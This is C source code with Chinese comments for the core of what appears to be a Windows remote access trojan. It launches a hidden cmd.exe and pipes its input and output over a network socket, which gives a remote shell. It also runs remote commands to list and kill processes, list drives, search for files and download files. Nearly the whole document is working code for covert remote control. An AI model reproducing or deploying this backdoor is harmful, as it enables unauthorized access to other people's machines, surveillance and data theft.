DWORD WINAPI DoublePipe(LPVOID p) { BOOL DataSend; int SendDataLen = 0; char cmdline[1024]; char PipeBuffer[1024]; HANDLE hRead2; HANDLE hWrite2; SECURITY_ATTRIBUTES sa2; //这个结构为很多函数创建对象时提供安全性设置。 STARTUPINFO si; //用于指定新进程的主窗口特性的一个结构。 PROCESS_INFORMATION pi; //在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息。 BOOL Result; DWORD bytesRead; int ReadLen = 0; //已读数据长度 struct Socket_Recv* Information = p; do { SecureZeroMemory(cmdline, sizeof(cmdline)); SecureZeroMemory(&si, sizeof(si)); SecureZeroMemory(PipeBuffer, sizeof(PipeBuffer)); sa2.nLength = sizeof(SECURITY_ATTRIBUTES); sa2.lpSecurityDescriptor = NULL; sa2.bInheritHandle = TRUE; CreatePipe(&hRead2, &hWrite2, &sa2, 0); si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); //WindowsAPI函数。该函数取得进程在启动时被指定的 STARTUPINFO 结构。 si.hStdError = hWrite2; si.hStdOutput = hWrite2; si.hStdInput = Information->hRecvData; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline, MAX_PATH + 1); //取得Windows系统目录(System目录)的完整路径名。 strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe"); Result = CreateProcess(NULL, cmdline, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (Result == 0) { printf("Error code is %u", GetLastError()); break; } while (1) { Result = PeekNamedPipe(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL, NULL); if (Result == FALSE) { printf("PeekNamePipe Faild."); break; } if (bytesRead > 0) { Result = ReadFile(hRead2, PipeBuffer, sizeof(PipeBuffer) - 1, &bytesRead, NULL); if (Result == FALSE) { printf("ReadFile Faild."); break; } PipeBuffer[bytesRead] = 0; printf("%s", PipeBuffer); SendDataLen = strlen(PipeBuffer) + 1; DataSend = SendPacket(Information->socket, PipeBuffer, SendDataLen); if (DataSend == FALSE) { printf("Send Pipe Information faild !\n"); printf("The connection is closed !\n"); break; } } } } while (0); CloseHandle(hWrite2); CloseHandle(hRead2); CloseHandle(Information->hRecvData); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); closesocket(Information->socket); return 0; } DWORD WINAPI RecvData(LPVOID p) { int DataRecv; int RecvLen = 1024; int IDRecvLen = 16; HANDLE hNamePipe; DWORD bytesRead; BOOL Result; DWORD ReturnValue; HANDLE hRead1; HANDLE hWrite1; SECURITY_ATTRIBUTES sa1; struct Socket_Recv Information; Information.socket = (SOCKET)p; do { sa1.nLength = sizeof(SECURITY_ATTRIBUTES); sa1.lpSecurityDescriptor = NULL; sa1.bInheritHandle = TRUE; CreatePipe(&hRead1, &hWrite1, &sa1, 0); Information.hRecvData = hRead1; CreateThread(NULL, 0, DoublePipe, &Information, 0, NULL); while (1) { RecvLen = sizeof(Information.recvbuffer) - 1; DataRecv = RecvPacket(Information.socket, Information.recvbuffer, &RecvLen); if (DataRecv == FALSE) { printf("Data receive faild !\n"); break; } printf("%s\n", Information.recvbuffer); Information.recvbuffer[RecvLen] = 0; if (Information.recvbuffer[0] == '/') { if (Information.recvbuffer[1] == 'p' && Information.recvbuffer[2] == 'r' && Information.recvbuffer[3] == 'o' && Information.recvbuffer[4] == 'c' && Information.recvbuffer[5] == '\0') { CreateThread(NULL, 0, ListProcess, (LPVOID)Information.socket, 0, NULL); } else if ( Information.recvbuffer[1] == 'k' && Information.recvbuffer[2] == 'i' && Information.recvbuffer[3] == 'l' && Information.recvbuffer[4] == 'l' && Information.recvbuffer[5] == ' ') { strncpy_s(Information.ProcessID, sizeof(Information.ProcessID), Information.recvbuffer + 6, sizeof(Information.ProcessID) - 1); printf("%s\n", Information.ProcessID); ReturnValue = StrToIntA((PCSTR)Information.ProcessID); Result = KillProc(ReturnValue); if (Result == FALSE) { printf("Kill Process Faild.\n"); } } else if ( Information.recvbuffer[1] == 'd' && Information.recvbuffer[2] == 'r' && Information.recvbuffer[3] == 'i' && Information.recvbuffer[4] == 'v' && Information.recvbuffer[5] == 'e' && Information.recvbuffer[6] == 'r' && Information.recvbuffer[7] == '\0') { CreateThread(NULL, 0, DriverList, (LPVOID)Information.socket, 0, NULL); } else if ( Information.recvbuffer[1] == 'f' && Information.recvbuffer[2] == 'f' && Information.recvbuffer[3] == ' ') { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, &Information, 0, NULL); } else if ( Information.recvbuffer[1] == 'd' && Information.recvbuffer[2] == 'l' && Information.recvbuffer[3] == ' ') { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FileDownload, &Information, 0, NULL); } } else { strcat_s(Information.recvbuffer, sizeof(Information.recvbuffer), "\r\n"); printf("%s\n", Information.recvbuffer); WriteFile(hWrite1, Information.recvbuffer, strlen(Information.recvbuffer), &bytesRead, NULL); } } } while (0); closesocket(Information.socket); printf("The connection is closed !\n"); WSACleanup(); return 0; }
使用两个匿名管道(pipe)实现双向通信。
pipe1连接接收数据的缓冲区和cmd进程的hStdInput;
pipe2连接cmd进程的hStdError、hStdOutput和发送数据的缓冲区,以便让服务端获得回显。